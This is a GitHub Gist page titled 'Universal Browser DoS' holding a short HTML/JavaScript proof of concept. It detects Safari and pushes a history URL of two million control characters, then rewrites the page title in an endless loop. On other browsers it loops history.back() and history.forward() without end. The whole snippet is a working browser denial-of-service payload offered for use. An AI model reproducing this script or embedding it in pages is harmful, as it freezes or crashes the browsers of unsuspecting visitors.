Created
September 11, 2018 15:26
-
-
Save seclib/a0746f88f2dcf13b71a4c72c3938e1c5 to your computer and use it in GitHub Desktop.
Universal Browser DoS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<title>Title / History</title> | |
<script> | |
if (navigator.userAgent.indexOf('Chrome') == -1 && navigator.userAgent.indexOf('Safari') > -1) { | |
if(!String.prototype.repeat){(function(){'use strict'; | |
var defineProperty=(function(){try{var object={}; | |
var $defineProperty=Object.defineProperty; | |
var result=$defineProperty(object,object,object)&&$defineProperty}catch(error){}return result}()); | |
var repeat=function(count){if(this==null){throw TypeError()} | |
var string=String(this); | |
var n=count?Number(count):0; | |
if(n!=n){n=0}if(n<0||n==Infinity){throw RangeError()} | |
var result='';while(n) | |
{ | |
if(n%2==1){result+=string} | |
if(n>1){string+=string}n>>=1}return result}; | |
if(defineProperty){defineProperty(String.prototype,'repeat',{'value':repeat,'configurable':true,'writable':true})} | |
else{String.prototype.repeat=repeat}}())} | |
var title = '\u000B'.repeat(2000000); | |
var titleR = '\u0009'.repeat(2000000); | |
history.pushState({}, '', `/${title}.`); | |
while(true) { | |
document.title=title; | |
document.title=titleR; | |
} | |
} else { | |
document.location.href='#'; | |
while(true) { | |
history.back(); | |
history.forward(); | |
} | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment